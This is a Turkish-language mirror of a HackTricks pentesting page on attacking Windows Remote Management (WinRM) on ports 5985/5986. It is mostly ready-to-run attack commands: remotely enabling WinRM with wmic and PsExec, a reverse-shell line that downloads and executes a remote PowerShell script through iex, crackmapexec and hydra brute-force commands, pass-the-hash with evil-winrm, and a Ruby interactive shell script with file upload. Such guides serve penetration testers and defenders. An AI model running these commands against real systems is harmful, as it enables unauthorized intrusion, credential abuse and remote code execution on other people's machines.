mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
327 lines
16 KiB
Markdown
327 lines
16 KiB
Markdown
# 5985,5986 - WinRM Pentesting
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||
|
||
**Hackleme İçgörüleri**\
|
||
Hackleme heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin
|
||
|
||
**Gerçek Zamanlı Hack Haberleri**\
|
||
Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||
|
||
**En Son Duyurular**\
|
||
Başlatılan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||
|
||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
|
||
|
||
## WinRM
|
||
|
||
[Windows Uzak Yönetimi (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx), HTTP(S) üzerinden Windows sistemlerinin uzaktan yönetimini sağlayan **Microsoft tarafından geliştirilen bir protokol** olarak öne çıkıyor ve bu süreçte SOAP'ı kullanıyor. Temelde WMI tarafından desteklenen WinRM, WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar.
|
||
|
||
Bir makinede WinRM'nin bulunması, SSH'nin diğer işletim sistemleri için nasıl çalıştığına benzer şekilde PowerShell aracılığıyla kolay uzaktan yönetimi sağlar. WinRM'nin etkin olup olmadığını belirlemek için belirli portların açılıp açılmadığının kontrol edilmesi önerilir:
|
||
|
||
* **5985/tcp (HTTP)**
|
||
* **5986/tcp (HTTPS)**
|
||
|
||
Yukarıdaki listeden bir açık port, WinRM'nin kurulduğunu ve dolayısıyla uzaktan oturum başlatma girişimlerine izin verildiğini gösterir.
|
||
|
||
### **WinRM Oturumu Başlatma**
|
||
|
||
PowerShell'i WinRM için yapılandırmak için Microsoft'un `Enable-PSRemoting` komut dosyası devreye girer ve bilgisayarın uzaktan PowerShell komutlarını kabul etmesini sağlar. Yükseltilmiş PowerShell erişimi ile, aşağıdaki komutlar bu işlevselliği etkinleştirmek ve herhangi bir ana bilgisayarı güvenilir olarak belirlemek için çalıştırılabilir.
|
||
```powershell
|
||
Enable-PSRemoting -Force
|
||
Set-Item wsman:\localhost\client\trustedhosts *
|
||
```
|
||
Bu yaklaşım, `trustedhosts` yapılandırmasına bir joker karakter eklemeyi içerir, bu adım sonuçları nedeniyle dikkatli bir şekilde düşünülmesi gereken bir adımdır. Ayrıca, saldırganın makinesinde ağ türünü "Genel"den "İş"e değiştirmenin gerekebileceği belirtilmektedir.
|
||
|
||
Ayrıca, WinRM, aşağıdaki gibi gösterildiği gibi `wmic` komutunu kullanarak **uzaktan etkinleştirilebilir**:
|
||
```powershell
|
||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||
```
|
||
Bu yöntem, WinRM'nin uzaktan kurulumuna olanak tanır, Windows makinelerini uzaktan yönetme esnekliğini artırır.
|
||
|
||
### Yapılandırıldı mı diye test edin
|
||
|
||
Saldırı makinenizin yapılandırmasını doğrulamak için `Test-WSMan` komutu kullanılır ve hedefin WinRM'nin doğru şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için kullanılır. Bu komutu çalıştırarak, protokol sürümü ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz, başarılı yapılandırmayı gösterir. Aşağıda, yapılandırılmış bir hedef için beklenen çıktıyı gösteren örnekler ile yapılandırılmamış bir hedef için örnekler bulunmaktadır:
|
||
|
||
* **Doğru şekilde** yapılandırılmış bir hedef için çıktı şuna benzer olacaktır:
|
||
```bash
|
||
Test-WSMan <target-ip>
|
||
```
|
||
### Bir komutu çalıştır
|
||
|
||
Uzaktaki bir makinede `ipconfig` komutunu çalıştırmak ve çıktısını görüntülemek için şunu yapın:
|
||
```powershell
|
||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||
```
|
||
![](<../.gitbook/assets/image (151).png>)
|
||
|
||
Ayrıca, mevcut PS konsolunuzda bir komutu **Invoke-Command** aracılığıyla çalıştırabilirsiniz. Diyelim ki yerel olarak _enumeration_ adında bir fonksiyonunuz var ve bunu uzak bir bilgisayarda çalıştırmak istiyorsunuz, şunu yapabilirsiniz:
|
||
```powershell
|
||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||
```
|
||
### Bir Komut Dosyası Çalıştırma
|
||
```powershell
|
||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||
```
|
||
### Ters kabuk almak
|
||
```powershell
|
||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||
```
|
||
### Bir PS oturumu alın
|
||
|
||
Etkileşimli bir PowerShell kabuğu almak için `Enter-PSSession` komutunu kullanın:
|
||
```powershell
|
||
#If you need to use different creds
|
||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
|
||
|
||
# Enter
|
||
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
|
||
## Bypass proxy
|
||
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
||
# Save session in var
|
||
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
||
Enter-PSSession $sess
|
||
## Background current PS session
|
||
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
|
||
```
|
||
![](<../.gitbook/assets/image (1009).png>)
|
||
|
||
**Oturum, "kurban" içinde yeni bir işlemde (wsmprovhost) çalışacaktır.**
|
||
|
||
### **WinRM'yi Açmaya Zorlama**
|
||
|
||
PS Remoting ve WinRM kullanmak için bilgisayar yapılandırılmamışsa, şunları kullanarak etkinleştirebilirsiniz:
|
||
```powershell
|
||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||
```
|
||
### Oturumları Kaydetme ve Geri Yükleme
|
||
|
||
Bu, uzak bilgisayarda dil kısıtlandığında **çalışmayacaktır**.
|
||
```powershell
|
||
#If you need to use different creds
|
||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
|
||
|
||
#You can save a session inside a variable
|
||
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
|
||
#And restore it at any moment doing
|
||
Enter-PSSession -Session $sess1
|
||
```
|
||
Bu oturumlar içinde _Invoke-Command_ kullanarak PS betiklerini yükleyebilirsiniz.
|
||
```powershell
|
||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||
```
|
||
### Hatalar
|
||
|
||
Eğer aşağıdaki hatayı bulursanız:
|
||
|
||
`enter-pssession : Uzak sunucuya 10.10.10.175 bağlanma işlemi aşağıdaki hata ile başarısız oldu: WinRM istemcisi isteği işleyemez. Eğer kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir etki alanına katılmamışsa, o zaman HTTPS iletişim taşıması kullanılmalı veya hedef makine GüvenilirAnaBilgisayarlar yapılandırma ayarına eklenmelidir. GüvenilirAnaBilgisayarlar yapılandırması için winrm.cmd kullanın. GüvenilirAnaBilgisayarlar listesindeki bilgisayarların kimlik doğrulaması yapılmamış olabileceğini unutmayın. Bu konu hakkında daha fazla bilgi almak için aşağıdaki komutu çalıştırarak winrm yardım yapılandır komutunu kullanın: winrm help config. Daha fazla bilgi için about_Remote_Troubleshooting Yardım konusuna bakın.`
|
||
|
||
Müşteri tarafında deneyin (bilgi [buradan](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||
```ruby
|
||
winrm quickconfig
|
||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||
```
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın, deneyimli hackerlar ve hata ödül avcıları ile iletişim kurun!
|
||
|
||
**Hacking Insights**\
|
||
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin
|
||
|
||
**Real-Time Hack News**\
|
||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||
|
||
**Latest Announcements**\
|
||
Yayınlanan en yeni hata ödüllerini ve önemli platform güncellemelerini takip edin
|
||
|
||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
|
||
|
||
## Linux'ta WinRM bağlantısı
|
||
|
||
### Brute Force
|
||
|
||
Dikkatli olun, winrm brute-force saldırıları kullanıcıları engelleyebilir.
|
||
```ruby
|
||
#Brute force
|
||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||
|
||
#Just check a pair of credentials
|
||
# Username + Password + CMD command execution
|
||
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
|
||
# Username + Hash + PS command execution
|
||
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
|
||
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
|
||
```
|
||
### Kötücül-winrm Kullanımı
|
||
```ruby
|
||
gem install evil-winrm
|
||
```
|
||
Oku **belgelendirme** onun github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||
```ruby
|
||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||
```
|
||
Evil-winrm'ı kullanarak bir **IPv6 adresine** bağlanmak için, bir **alan adını** IPv6 adresine ayarlayarak _**/etc/hosts**_ içinde bir giriş oluşturun ve o alan adına bağlanın.
|
||
|
||
### Evil-winrm ile hash geçirme
|
||
```ruby
|
||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||
```
|
||
![](<../.gitbook/assets/image (680).png>)
|
||
|
||
### Bir PS-docker makinesi kullanma
|
||
```
|
||
docker run -it quickbreach/powershell-ntlm
|
||
$creds = Get-Credential
|
||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
||
```
|
||
### Bir ruby betiği kullanma
|
||
|
||
**Kod buradan alınmıştır:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
|
||
```ruby
|
||
require 'winrm-fs'
|
||
|
||
# Author: Alamot
|
||
# To upload a file type: UPLOAD local_path remote_path
|
||
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
|
||
# https://alamot.github.io/winrm_shell/
|
||
|
||
|
||
conn = WinRM::Connection.new(
|
||
endpoint: 'https://IP:PORT/wsman',
|
||
transport: :ssl,
|
||
user: 'username',
|
||
password: 'password',
|
||
:no_ssl_peer_verification => true
|
||
)
|
||
|
||
|
||
class String
|
||
def tokenize
|
||
self.
|
||
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
|
||
select {|s| not s.empty? }.
|
||
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
|
||
end
|
||
end
|
||
|
||
|
||
command=""
|
||
file_manager = WinRM::FS::FileManager.new(conn)
|
||
|
||
|
||
conn.shell(:powershell) do |shell|
|
||
until command == "exit\n" do
|
||
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
|
||
print(output.output.chomp)
|
||
command = gets
|
||
if command.start_with?('UPLOAD') then
|
||
upload_command = command.tokenize
|
||
print("Uploading " + upload_command[1] + " to " + upload_command[2])
|
||
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
|
||
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
|
||
end
|
||
command = "echo `nOK`n"
|
||
end
|
||
output = shell.run(command) do |stdout, stderr|
|
||
STDOUT.print(stdout)
|
||
STDERR.print(stderr)
|
||
end
|
||
end
|
||
puts("Exiting with code #{output.exitcode}")
|
||
end
|
||
```
|
||
## Shodan
|
||
|
||
* `port:5985 Microsoft-HTTPAPI`
|
||
|
||
## Referanslar
|
||
|
||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||
|
||
## HackTricks Otomatik Komutları
|
||
```
|
||
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
|
||
Port_Number: 5985 #Comma separated if there is more than one.
|
||
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for WinRM
|
||
Note: |
|
||
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
|
||
|
||
sudo gem install winrm winrm-fs colorize stringio
|
||
git clone https://github.com/Hackplayers/evil-winrm.git
|
||
cd evil-winrm
|
||
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
|
||
|
||
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
|
||
|
||
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
|
||
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
|
||
menu
|
||
invoke-binary `tab`
|
||
|
||
#python3
|
||
import winrm
|
||
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
|
||
print(s.run_cmd('ipconfig'))
|
||
print(s.run_ps('ipconfig'))
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-winrm
|
||
|
||
Entry_2:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||
```
|
||
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişim kurun!
|
||
|
||
**Hacking Insights**\
|
||
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin
|
||
|
||
**Gerçek Zamanlı Hack Haberleri**\
|
||
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
|
||
|
||
**En Son Duyurular**\
|
||
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi edinin
|
||
|
||
**Bize Katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|